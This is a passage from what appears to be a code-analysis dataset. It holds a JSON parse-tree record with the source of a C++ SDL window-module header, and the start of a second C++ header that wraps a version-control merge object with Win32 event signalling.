"identifier", "text": "height", "parent": 155, "children": [], "start_point": {"row": 34, "column": 22}, "end_point": {"row": 34, "column": 28}}, {"id": 158, "type": "declaration", "text": "void\t\tSetSize(uint width, uint height);", "parent": 43, "children": [159, 160], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 40}}, {"id": 159, "type": "primitive_type", "text": "void", "parent": 158, "children": [], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 5}}, {"id": 160, "type": "function_declarator", "text": "SetSize(uint width, uint height)", "parent": 158, "children": [161, 162], "start_point": {"row": 35, "column": 7}, "end_point": {"row": 35, "column": 39}}, {"id": 161, "type": "identifier", "text": "SetSize", "parent": 160, "children": [], "start_point": {"row": 35, "column": 7}, "end_point": {"row": 35, "column": 14}}, {"id": 162, "type": "parameter_list", "text": "(uint width, uint height)", "parent": 160, "children": [163, 166], "start_point": {"row": 35, "column": 14}, "end_point": {"row": 35, "column": 39}}, {"id": 163, "type": "parameter_declaration", "text": "uint width", "parent": 162, "children": [164, 165], "start_point": {"row": 35, "column": 15}, "end_point": {"row": 35, "column": 25}}, {"id": 164, "type": "type_identifier", "text": "uint", "parent": 163, "children": [], "start_point": {"row": 35, "column": 15}, "end_point": {"row": 35, "column": 19}}, {"id": 165, "type": "identifier", "text": "width", "parent": 163, "children": [], "start_point": {"row": 35, "column": 20}, "end_point": {"row": 35, "column": 25}}, {"id": 166, "type": "parameter_declaration", "text": "uint height", "parent": 162, "children": [167, 168], "start_point": {"row": 35, "column": 27}, "end_point": {"row": 35, "column": 38}}, {"id": 167, "type": "type_identifier", "text": "uint", "parent": 166, "children": [], "start_point": {"row": 35, "column": 27}, "end_point": {"row": 35, "column": 31}}, {"id": 168, "type": "identifier", "text": "height", "parent": 166, "children": [], "start_point": {"row": 35, "column": 32}, "end_point": {"row": 35, "column": 38}}, {"id": 169, "type": "declaration", "text": "void\t\tSetBrightness(float brightness);", "parent": 43, "children": [170, 171], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 39}}, {"id": 170, "type": "primitive_type", "text": "void", "parent": 169, "children": [], "start_point": {"row": 36, "column": 1}, "end_point": {"row": 36, "column": 5}}, {"id": 171, "type": "function_declarator", "text": "SetBrightness(float brightness)", "parent": 169, "children": [172, 173], "start_point": {"row": 36, "column": 7}, "end_point": {"row": 36, "column": 38}}, {"id": 172, "type": "identifier", "text": "SetBrightness", "parent": 171, "children": [], "start_point": {"row": 36, "column": 7}, "end_point": {"row": 36, "column": 20}}, {"id": 173, "type": "parameter_list", "text": "(float brightness)", "parent": 171, "children": [174], "start_point": {"row": 36, "column": 20}, "end_point": {"row": 36, "column": 38}}, {"id": 174, "type": "parameter_declaration", "text": "float brightness", "parent": 173, "children": [175, 176], "start_point": {"row": 36, "column": 21}, "end_point": {"row": 36, "column": 37}}, {"id": 175, "type": "primitive_type", "text": "float", "parent": 174, "children": [], "start_point": {"row": 36, "column": 21}, "end_point": {"row": 36, "column": 26}}, {"id": 176, "type": "identifier", "text": "brightness", "parent": 174, "children": [], "start_point": {"row": 36, "column": 27}, "end_point": {"row": 36, "column": 37}}, {"id": 177, "type": "ERROR", "text": "bool\t\tIsMaximized() const;", "parent": 43, "children": [178, 179], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 27}}, {"id": 178, "type": "primitive_type", "text": "bool", "parent": 177, "children": [], "start_point": {"row": 38, "column": 1}, "end_point": {"row": 38, "column": 5}}, {"id": 179, "type": "function_declarator", "text": "IsMaximized() const", "parent": 177, "children": [180, 181], "start_point": {"row": 38, "column": 7}, "end_point": {"row": 38, "column": 26}}, {"id": 180, "type": "identifier", "text": "IsMaximized", "parent": 179, "children": [], "start_point": {"row": 38, "column": 7}, "end_point": {"row": 38, "column": 18}}, {"id": 181, "type": "parameter_list", "text": "()", "parent": 179, "children": [], "start_point": {"row": 38, "column": 18}, "end_point": {"row": 38, "column": 20}}, {"id": 182, "type": "ERROR", "text": "bool\t\tIsFullscreen() const;", "parent": 43, "children": [183, 184], "start_point": {"row": 39, "column": 1}, "end_point": {"row": 39, "column": 28}}, {"id": 183, "type": "primitive_type", "text": "bool", "parent": 182, "children": [], "start_point": {"row": 39, "column": 1}, "end_point": {"row": 39, "column": 5}}, {"id": 184, "type": "function_declarator", "text": "IsFullscreen() const", "parent": 182, "children": [185, 186], "start_point": {"row": 39, "column": 7}, "end_point": {"row": 39, "column": 27}}, {"id": 185, "type": "identifier", "text": "IsFullscreen", "parent": 184, "children": [], "start_point": {"row": 39, "column": 7}, "end_point": {"row": 39, "column": 19}}, {"id": 186, "type": "parameter_list", "text": "()", "parent": 184, "children": [], "start_point": {"row": 39, "column": 19}, "end_point": {"row": 39, "column": 21}}, {"id": 187, "type": "ERROR", "text": "bool\t\tIsResizable() const;", "parent": 43, "children": [188, 189], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 27}}, {"id": 188, "type": "primitive_type", "text": "bool", "parent": 187, "children": [], "start_point": {"row": 40, "column": 1}, "end_point": {"row": 40, "column": 5}}, {"id": 189, "type": "function_declarator", "text": "IsResizable() const", "parent": 187, "children": [190, 191], "start_point": {"row": 40, "column": 7}, "end_point": {"row": 40, "column": 26}}, {"id": 190, "type": "identifier", "text": "IsResizable", "parent": 189, "children": [], "start_point": {"row": 40, "column": 7}, "end_point": {"row": 40, "column": 18}}, {"id": 191, "type": "parameter_list", "text": "()", "parent": 189, "children": [], "start_point": {"row": 40, "column": 18}, "end_point": {"row": 40, "column": 20}}, {"id": 192, "type": "ERROR", "text": "bool\t\tIsBorderless() const;", "parent": 43, "children": [193, 194], "start_point": {"row": 41, "column": 1}, "end_point": {"row": 41, "column": 28}}, {"id": 193, "type": "primitive_type", "text": "bool", "parent": 192, "children": [], "start_point": {"row": 41, "column": 1}, "end_point": {"row": 41, "column": 5}}, {"id": 194, "type": "function_declarator", "text": "IsBorderless() const", "parent": 192, "children": [195, 196], "start_point": {"row": 41, "column": 7}, "end_point": {"row": 41, "column": 27}}, {"id": 195, "type": "identifier", "text": "IsBorderless", "parent": 194, "children": [], "start_point": {"row": 41, "column": 7}, "end_point": {"row": 41, "column": 19}}, {"id": 196, "type": "parameter_list", "text": "()", "parent": 194, "children": [], "start_point": {"row": 41, "column": 19}, "end_point": {"row": 41, "column": 21}}, {"id": 197, "type": "ERROR", "text": "bool\t\tIsFullscreenDesktop() const;", "parent": 43, "children": [198, 199], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 35}}, {"id": 198, "type": "primitive_type", "text": "bool", "parent": 197, "children": [], "start_point": {"row": 42, "column": 1}, "end_point": {"row": 42, "column": 5}}, {"id": 199, "type": "function_declarator", "text": "IsFullscreenDesktop() const", "parent": 197, "children": [200, 201], "start_point": {"row": 42, "column": 7}, "end_point": {"row": 42, "column": 34}}, {"id": 200, "type": "identifier", "text": "IsFullscreenDesktop", "parent": 199, "children": [], "start_point": {"row": 42, "column": 7}, "end_point": {"row": 42, "column": 26}}, {"id": 201, "type": "parameter_list", "text": "()", "parent": 199, "children": [], "start_point": {"row": 42, "column": 26}, "end_point": {"row": 42, "column": 28}}, {"id": 202, "type": "declaration", "text": "void\t\tSetMaximized(bool setTo);", "parent": 43, "children": [203, 204], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 32}}, {"id": 203, "type": "primitive_type", "text": "void", "parent": 202, "children": [], "start_point": {"row": 44, "column": 1}, "end_point": {"row": 44, "column": 5}}, {"id": 204, "type": "function_declarator", "text": "SetMaximized(bool setTo)", "parent": 202, "children": [205, 206], "start_point": {"row": 44, "column": 7}, "end_point": {"row": 44, "column": 31}}, {"id": 205, "type": "identifier", "text": "SetMaximized", "parent": 204, "children": [], "start_point": {"row": 44, "column": 7}, "end_point": {"row": 44, "column": 19}}, {"id": 206, "type": "parameter_list", "text": "(bool setTo)", "parent": 204, "children": [207], "start_point": {"row": 44, "column": 19}, "end_point": {"row": 44, "column": 31}}, {"id": 207, "type": "parameter_declaration", "text": "bool setTo", "parent": 206, "children": [208, 209], "start_point": {"row": 44, "column": 20}, "end_point": {"row": 44, "column": 30}}, {"id": 208, "type": "primitive_type", "text": "bool", "parent": 207, "children": [], "start_point": {"row": 44, "column": 20}, "end_point": {"row": 44, "column": 24}}, {"id": 209, "type": "identifier", "text": "setTo", "parent": 207, "children": [], "start_point": {"row": 44, "column": 25}, "end_point": {"row": 44, "column": 30}}, {"id": 210, "type": "declaration", "text": "void\t\tSetFullscreen(bool setTo);", "parent": 43, "children": [211, 212], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 33}}, {"id": 211, "type": "primitive_type", "text": "void", "parent": 210, "children": [], "start_point": {"row": 45, "column": 1}, "end_point": {"row": 45, "column": 5}}, {"id": 212, "type": "function_declarator", "text": "SetFullscreen(bool setTo)", "parent": 210, "children": [213, 214], "start_point": {"row": 45, "column": 7}, "end_point": {"row": 45, "column": 32}}, {"id": 213, "type": "identifier", "text": "SetFullscreen", "parent": 212, "children": [], "start_point": {"row": 45, "column": 7}, "end_point": {"row": 45, "column": 20}}, {"id": 214, "type": "parameter_list", "text": "(bool setTo)", "parent": 212, "children": [215], "start_point": {"row": 45, "column": 20}, "end_point": {"row": 45, "column": 32}}, {"id": 215, "type": "parameter_declaration", "text": "bool setTo", "parent": 214, "children": [216, 217], "start_point": {"row": 45, "column": 21}, "end_point": {"row": 45, "column": 31}}, {"id": 216, "type": "primitive_type", "text": "bool", "parent": 215, "children": [], "start_point": {"row": 45, "column": 21}, "end_point": {"row": 45, "column": 25}}, {"id": 217, "type": "identifier", "text": "setTo", "parent": 215, "children": [], "start_point": {"row": 45, "column": 26}, "end_point": {"row": 45, "column": 31}}, {"id": 218, "type": "declaration", "text": "void\t\tSetResizable(bool setTo);", "parent": 43, "children": [219, 220], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 32}}, {"id": 219, "type": "primitive_type", "text": "void", "parent": 218, "children": [], "start_point": {"row": 46, "column": 1}, "end_point": {"row": 46, "column": 5}}, {"id": 220, "type": "function_declarator", "text": "SetResizable(bool setTo)", "parent": 218, "children": [221, 222], "start_point": {"row": 46, "column": 7}, "end_point": {"row": 46, "column": 31}}, {"id": 221, "type": "identifier", "text": "SetResizable", "parent": 220, "children": [], "start_point": {"row": 46, "column": 7}, "end_point": {"row": 46, "column": 19}}, {"id": 222, "type": "parameter_list", "text": "(bool setTo)", "parent": 220, "children": [223], "start_point": {"row": 46, "column": 19}, "end_point": {"row": 46, "column": 31}}, {"id": 223, "type": "parameter_declaration", "text": "bool setTo", "parent": 222, "children": [224, 225], "start_point": {"row": 46, "column": 20}, "end_point": {"row": 46, "column": 30}}, {"id": 224, "type": "primitive_type", "text": "bool", "parent": 223, "children": [], "start_point": {"row": 46, "column": 20}, "end_point": {"row": 46, "column": 24}}, {"id": 225, "type": "identifier", "text": "setTo", "parent": 223, "children": [], "start_point": {"row": 46, "column": 25}, "end_point": {"row": 46, "column": 30}}, {"id": 226, "type": "declaration", "text": "void\t\tSetBorderless(bool setTo);", "parent": 43, "children": [227, 228], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 33}}, {"id": 227, "type": "primitive_type", "text": "void", "parent": 226, "children": [], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 47, "column": 5}}, {"id": 228, "type": "function_declarator", "text": "SetBorderless(bool setTo)", "parent": 226, "children": [229, 230], "start_point": {"row": 47, "column": 7}, "end_point": {"row": 47, "column": 32}}, {"id": 229, "type": "identifier", "text": "SetBorderless", "parent": 228, "children": [], "start_point": {"row": 47, "column": 7}, "end_point": {"row": 47, "column": 20}}, {"id": 230, "type": "parameter_list", "text": "(bool setTo)", "parent": 228, "children": [231], "start_point": {"row": 47, "column": 20}, "end_point": {"row": 47, "column": 32}}, {"id": 231, "type": "parameter_declaration", "text": "bool setTo", "parent": 230, "children": [232, 233], "start_point": {"row": 47, "column": 21}, "end_point": {"row": 47, "column": 31}}, {"id": 232, "type": "primitive_type", "text": "bool", "parent": 231, "children": [], "start_point": {"row": 47, "column": 21}, "end_point": {"row": 47, "column": 25}}, {"id": 233, "type": "identifier", "text": "setTo", "parent": 231, "children": [], "start_point": {"row": 47, "column": 26}, "end_point": {"row": 47, "column": 31}}, {"id": 234, "type": "declaration", "text": "void\t\tSetFullscreenDesktop(bool setTo);", "parent": 43, "children": [235, 236], "start_point": {"row": 48, "column": 1}, "end_point": {"row": 48, "column": 40}}, {"id": 235, "type": "primitive_type", "text": "void", "parent": 234, "children": [], "start_point": {"row": 48, "column": 1}, "end_point": {"row": 48, "column": 5}}, {"id": 236, "type": "function_declarator", "text": "SetFullscreenDesktop(bool setTo)", "parent": 234, "children": [237, 238], "start_point": {"row": 48, "column": 7}, "end_point": {"row": 48, "column": 39}}, {"id": 237, "type": "identifier", "text": "SetFullscreenDesktop", "parent": 236, "children": [], "start_point": {"row": 48, "column": 7}, "end_point": {"row": 48, "column": 27}}, {"id": 238, "type": "parameter_list", "text": "(bool setTo)", "parent": 236, "children": [239], "start_point": {"row": 48, "column": 27}, "end_point": {"row": 48, "column": 39}}, {"id": 239, "type": "parameter_declaration", "text": "bool setTo", "parent": 238, "children": [240, 241], "start_point": {"row": 48, "column": 28}, "end_point": {"row": 48, "column": 38}}, {"id": 240, "type": "primitive_type", "text": "bool", "parent": 239, "children": [], "start_point": {"row": 48, "column": 28}, "end_point": {"row": 48, "column": 32}}, {"id": 241, "type": "identifier", "text": "setTo", "parent": 239, "children": [], "start_point": {"row": 48, "column": 33}, "end_point": {"row": 48, "column": 38}}, {"id": 242, "type": "declaration", "text": "void\t\tRecalculateWindowSize();", "parent": 43, "children": [243, 244], "start_point": {"row": 50, "column": 1}, "end_point": {"row": 50, "column": 31}}, {"id": 243, "type": "primitive_type", "text": "void", "parent": 242, "children": [], "start_point": {"row": 50, "column": 1}, "end_point": {"row": 50, "column": 5}}, {"id": 244, "type": "function_declarator", "text": "RecalculateWindowSize()", "parent": 242, "children": [245, 246], "start_point": {"row": 50, "column": 7}, "end_point": {"row": 50, "column": 30}}, {"id": 245, "type": "identifier", "text": "RecalculateWindowSize", "parent": 244, "children": [], "start_point": {"row": 50, "column": 7}, "end_point": {"row": 50, "column": 28}}, {"id": 246, "type": "parameter_list", "text": "()", "parent": 244, "children": [], "start_point": {"row": 50, "column": 28}, "end_point": {"row": 50, "column": 30}}, {"id": 247, "type": "declaration", "text": "private:\n\tSDL_Window*\t\twindow;", "parent": 43, "children": [248, 250], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 53, "column": 21}}, {"id": 248, "type": "ERROR", "text": ":\n\tSDL_Window", "parent": 247, "children": [249], "start_point": {"row": 52, "column": 7}, "end_point": {"row": 53, "column": 11}}, {"id": 249, "type": "identifier", "text": "SDL_Window", "parent": 248, "children": [], "start_point": {"row": 53, "column": 1}, "end_point": {"row": 53, "column": 11}}, {"id": 250, "type": "pointer_declarator", "text": "*\t\twindow", "parent": 247, "children": [251, 252], "start_point": {"row": 53, "column": 11}, "end_point": {"row": 53, "column": 20}}, {"id": 251, "type": "*", "text": "*", "parent": 250, "children": [], "start_point": {"row": 53, "column": 11}, "end_point": {"row": 53, "column": 12}}, {"id": 252, "type": "identifier", "text": "window", "parent": 250, "children": [], "start_point": {"row": 53, "column": 14}, "end_point": {"row": 53, "column": 20}}, {"id": 253, "type": "declaration", "text": "SDL_Surface*\tscreenSurface;", "parent": 43, "children": [254, 255], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 28}}, {"id": 254, "type": "type_identifier", "text": "SDL_Surface", "parent": 253, "children": [], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 12}}, {"id": 255, "type": "pointer_declarator", "text": "*\tscreenSurface", "parent": 253, "children": [256, 257], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 27}}, {"id": 256, "type": "*", "text": "*", "parent": 255, "children": [], "start_point": {"row": 54, "column": 12}, "end_point": {"row": 54, "column": 13}}, {"id": 257, "type": "identifier", "text": "screenSurface", "parent": 255, "children": [], "start_point": {"row": 54, "column": 14}, "end_point": {"row": 54, "column": 27}}, {"id": 258, "type": "declaration", "text": "std::string\t\ticonFile;", "parent": 43, "children": [259, 260, 262], "start_point": {"row": 56, "column": 1}, "end_point": {"row": 56, "column": 23}}, {"id": 259, "type": "type_identifier", "text": "std", "parent": 258, "children": [], "start_point": {"row": 56, "column": 1}, "end_point": {"row": 56, "column": 4}}, {"id": 260, "type": "ERROR", "text": "::string", "parent": 258, "children": [261], "start_point": {"row": 56, "column": 4}, "end_point": {"row": 56, "column": 12}}, {"id": 261, "type": "identifier", "text": "string", "parent": 260, "children": [], "start_point": {"row": 56, "column": 6}, "end_point": {"row": 56, "column": 12}}, {"id": 262, "type": "identifier", "text": "iconFile", "parent": 258, "children": [], "start_point": {"row": 56, "column": 14}, "end_point": {"row": 56, "column": 22}}, {"id": 263, "type": "declaration", "text": "uint\t\t\tscreenWidth;", "parent": 43, "children": [264, 265], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 20}}, {"id": 264, "type": "type_identifier", "text": "uint", "parent": 263, "children": [], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 5}}, {"id": 265, "type": "identifier", "text": "screenWidth", "parent": 263, "children": [], "start_point": {"row": 58, "column": 8}, "end_point": {"row": 58, "column": 19}}, {"id": 266, "type": "declaration", "text": "uint\t\t\tscreenHeight;", "parent": 43, "children": [267, 268], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 21}}, {"id": 267, "type": "type_identifier", "text": "uint", "parent": 266, "children": [], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 5}}, {"id": 268, "type": "identifier", "text": "screenHeight", "parent": 266, "children": [], "start_point": {"row": 59, "column": 8}, "end_point": {"row": 59, "column": 20}}, {"id": 269, "type": "declaration", "text": "bool\t\t\tisMaximized;", "parent": 43, "children": [270, 271], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 20}}, {"id": 270, "type": "primitive_type", "text": "bool", "parent": 269, "children": [], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 5}}, {"id": 271, "type": "identifier", "text": "isMaximized", "parent": 269, "children": [], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 61, "column": 19}}, {"id": 272, "type": "declaration", "text": "bool\t\t\tisFullscreen;", "parent": 43, "children": [273, 274], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 21}}, {"id": 273, "type": "primitive_type", "text": "bool", "parent": 272, "children": [], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 5}}, {"id": 274, "type": "identifier", "text": "isFullscreen", "parent": 272, "children": [], "start_point": {"row": 62, "column": 8}, "end_point": {"row": 62, "column": 20}}, {"id": 275, "type": "declaration", "text": "bool\t\t\tisResizable;", "parent": 43, "children": [276, 277], "start_point": {"row": 63, "column": 1}, "end_point": {"row": 63, "column": 20}}, {"id": 276, "type": "primitive_type", "text": "bool", "parent": 275, "children": [], "start_point": {"row": 63, "column": 1}, "end_point": {"row": 63, "column": 5}}, {"id": 277, "type": "identifier", "text": "isResizable", "parent": 275, "children": [], "start_point": {"row": 63, "column": 8}, "end_point": {"row": 63, "column": 19}}, {"id": 278, "type": "declaration", "text": "bool\t\t\tisBorderless;", "parent": 43, "children": [279, 280], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 21}}, {"id": 279, "type": "primitive_type", "text": "bool", "parent": 278, "children": [], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 5}}, {"id": 280, "type": "identifier", "text": "isBorderless", "parent": 278, "children": [], "start_point": {"row": 64, "column": 8}, "end_point": {"row": 64, "column": 20}}, {"id": 281, "type": "declaration", "text": "bool\t\t\tisFullscreenDesktop;", "parent": 43, "children": [282, 283], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 65, "column": 28}}, {"id": 282, "type": "primitive_type", "text": "bool", "parent": 281, "children": [], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 65, "column": 5}}, {"id": 283, "type": "identifier", "text": "isFullscreenDesktop", "parent": 281, "children": [], "start_point": {"row": 65, "column": 8}, "end_point": {"row": 65, "column": 27}}, {"id": 284, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 68, "column": 0}, "end_point": {"row": 68, "column": 6}}]}, "node_categories": {"declarations": {"functions": [31, 36, 45, 53, 63, 73, 78, 90, 95, 105, 111, 116, 120, 136, 140, 144, 152, 160, 171, 179, 184, 189, 194, 199, 204, 212, 220, 228, 236, 244], "variables": [9, 11, 18, 27, 39, 48, 56, 60, 66, 76, 81, 86, 93, 98, 103, 108, 123, 126, 129, 132, 147, 150, 155, 158, 163, 166, 169, 174, 202, 207, 210, 215, 218, 223, 226, 231, 234, 239, 242, 247, 253, 258, 263, 266, 269, 272, 275, 278, 281], "classes": [], "imports": [6, 7], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 10, 12, 14, 16, 19, 20, 24, 28, 32, 37, 40, 41, 42, 46, 49, 50, 54, 57, 58, 59, 64, 67, 68, 69, 70, 74, 79, 85, 91, 96, 102, 106, 109, 112, 115, 117, 121, 124, 125, 127, 128, 130, 131, 133, 134, 137, 141, 145, 148, 149, 153, 156, 157, 161, 164, 165, 167, 168, 172, 176, 180, 185, 190, 195, 200, 205, 209, 213, 217, 221, 225, 229, 233, 237, 241, 245, 249, 252, 254, 257, 259, 261, 262, 264, 265, 267, 268, 271, 274, 277, 280, 283, 284], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 31, "universal_type": "function", "name": "unknown", "text_snippet": "M_Window()"}, {"node_id": 36, "universal_type": "function", "name": "unknown", "text_snippet": "Init(ParsonNode& config) override"}, {"node_id": 45, "universal_type": "function", "name": "unknown", "text_snippet": "CleanUp()"}, {"node_id": 53, "universal_type": "function", "name": "unknown", "text_snippet": "LoadConfiguration(ParsonNode& root) override"}, {"node_id": 63, "universal_type": "function", "name": "unknown", "text_snippet": "SaveConfiguration(ParsonNode& root) const override"}, {"node_id": 73, "universal_type": "function", "name": "unknown", "text_snippet": "GetWindow() const"}, {"node_id": 78, "universal_type": "function", "name": "unknown", "text_snippet": "SetTitle(const char* title)"}, {"node_id": 90, "universal_type": "function", "name": "unknown", "text_snippet": "GetIcon() const"}, {"node_id": 95, "universal_type": "function", "name": "unknown", "text_snippet": "SetIcon(const char* file)"}, {"node_id": 105, "universal_type": "function", "name": "unknown", "text_snippet": "SetDefaultIcon()"}, {"node_id": 111, "universal_type": "function", "name": "unknown", "text_snippet": "GetWidth() const"}, {"node_id": 116, "universal_type": "function", "name": "unknown", "text_snippet": "GetHeight() const"}, {"node_id": 120, "universal_type": "function", "name": "unknown", "text_snippet": "GetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const"}, {"node_id": 136, "universal_type": "function", "name": "unknown", "text_snippet": "GetBrightness() const"}, {"node_id": 140, "universal_type": "function", "name": "unknown", "text_snippet": "GetRefreshRate() const"}, {"node_id": 144, "universal_type": "function", "name": "unknown", "text_snippet": "SetWidth(uint width)"}, {"node_id": 152, "universal_type": "function", "name": "unknown", "text_snippet": "SetHeight(uint height)"}, {"node_id": 160, "universal_type": "function", "name": "unknown", "text_snippet": "SetSize(uint width, uint height)"}, {"node_id": 171, "universal_type": "function", "name": "unknown", "text_snippet": "SetBrightness(float brightness)"}, {"node_id": 179, "universal_type": "function", "name": "unknown", "text_snippet": "IsMaximized() const"}, {"node_id": 184, "universal_type": "function", "name": "unknown", "text_snippet": "IsFullscreen() const"}, {"node_id": 189, "universal_type": "function", "name": "unknown", "text_snippet": "IsResizable() const"}, {"node_id": 194, "universal_type": "function", "name": "unknown", "text_snippet": "IsBorderless() const"}, {"node_id": 199, "universal_type": "function", "name": "unknown", "text_snippet": "IsFullscreenDesktop() const"}, {"node_id": 204, "universal_type": "function", "name": "unknown", "text_snippet": "SetMaximized(bool setTo)"}, {"node_id": 212, "universal_type": "function", "name": "unknown", "text_snippet": "SetFullscreen(bool setTo)"}, {"node_id": 220, "universal_type": "function", "name": "unknown", "text_snippet": "SetResizable(bool setTo)"}, {"node_id": 228, "universal_type": "function", "name": "unknown", "text_snippet": "SetBorderless(bool setTo)"}, {"node_id": 236, "universal_type": "function", "name": "unknown", "text_snippet": "SetFullscreenDesktop(bool setTo)"}, {"node_id": 244, "universal_type": "function", "name": "unknown", "text_snippet": "RecalculateWindowSize()"}], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include \"Module.h\"\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#ifndef __MODULEWINDOW_H__\n#define __MODULEWINDOW_H__\n\n#include \"Module.h\"\n\nclass ParsonNode;\n\nclass MISSCLICK_API M_Window : public Module\n{\npublic:\n\tM_Window(bool isActive = true);\n\tvirtual ~M_Window();\n\n\tbool Init(ParsonNode& config) override;\n\tbool CleanUp() override;\n\n\tbool LoadConfiguration(ParsonNode& root) override;\n\tbool SaveConfiguration(ParsonNode& root) const override;\n\t\npublic:\n\tSDL_Window* GetWindow() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetTitle(const char* title);\t\t\t\t\t\t\t\t\t// \n\n\tconst char* GetIcon() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetIcon(const char* file);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetDefaultIcon();\t\t\t\t\t\t\t\t\t\t\t\t// \n\n\tuint\t\tGetWidth() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tuint\t\tGetHeight() const;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tGetMinMaxSize(uint& minWidth, uint& minHeight, uint& maxWidth, uint& maxHeight) const;\t// \n\tfloat\t\tGetBrightness() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tint\t\t\tGetRefreshRate() const;\t\t\t\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tSetWidth(uint width);\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetHeight(uint height);\t\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetSize(uint width, uint height);\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetBrightness(float brightness);\t\t\t\t\t\t\t\t// \n\n\tbool\t\tIsMaximized() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsFullscreen() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsResizable() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsBorderless() const;\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\tIsFullscreenDesktop() const;\t\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tSetMaximized(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetFullscreen(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetResizable(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetBorderless(bool setTo);\t\t\t\t\t\t\t\t\t\t// \n\tvoid\t\tSetFullscreenDesktop(bool setTo);\t\t\t\t\t\t\t\t// \n\n\tvoid\t\tRecalculateWindowSize();\n\nprivate:\n\tSDL_Window*\t\twindow;\t\t\t\t\t\t\t\t\t\t\t\t\t\t// The window we'll be rendering to\n\tSDL_Surface*\tscreenSurface;\t\t\t\t\t\t\t\t\t\t\t\t// The surface contained by the window\n\n\tstd::string\t\ticonFile;\n\n\tuint\t\t\tscreenWidth;\t\t\t\t\t\t\t\t\t\t\t\t// Width of the window in pixels.\n\tuint\t\t\tscreenHeight;\t\t\t\t\t\t\t\t\t\t\t\t// Height of the window in pixels.\n\n\tbool\t\t\tisMaximized;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisFullscreen;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisResizable;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisBorderless;\t\t\t\t\t\t\t\t\t\t\t\t// \n\tbool\t\t\tisFullscreenDesktop;\t\t\t\t\t\t\t\t\t\t// \n};\n\n#endif // __MODULEWINDOW_H__"}
81,147
c
// // Copyright 1997 <NAME>. All rights reserved. // // // GuiClientMerge.h // // CGuiClientMerge is a ClientMerge wrapper // that add a synchronization mechanism // #ifndef __GUICLIENTMERGE__ #define __GUICLIENTMERGE__ class CGuiClientMerge { public: CGuiClientMerge(ClientMerge *pMerge) : m_pMerge(pMerge) { m_hEvent= CreateEvent(NULL, FALSE, FALSE, NULL); } void WaitForSignal() { WaitForSingleObject(m_hEvent, INFINITE); } BOOL Signal() { return SetEvent(m_hEvent); } FileSys *YourFile() { return m_pMerge->GetYourFile(); } FileSys *TheirFile() { return m_pMerge->GetTheirFile(); } FileSys *BaseFile() { return m_pMerge->GetBaseFile(); } FileSys *ResultFile() { return m_pMerge->GetResultFile(); } int GetBothChunks() const { return m_pMerge->GetBothChunks(); } int GetYourChunks() const { return m_pMerge->GetYourChunks(); } int GetConflictChunks() const { return m_pMerge->GetConflictChunks(); } int GetTheirChunks() const { return m_pMerge->GetTheirChunks(); } bool IsAcceptable() const { return m_pMerge->IsAcceptable() == 1; } void SetFilespec(LPCTSTR filespec) { m_filespec = filespec; } CString GetFilespec() { return m_filespec; } void SetBaseFileName(LPCTSTR baseFileName) { m_baseFileName = baseFileName; } CString BaseFileName() { return m_baseFileName; } void 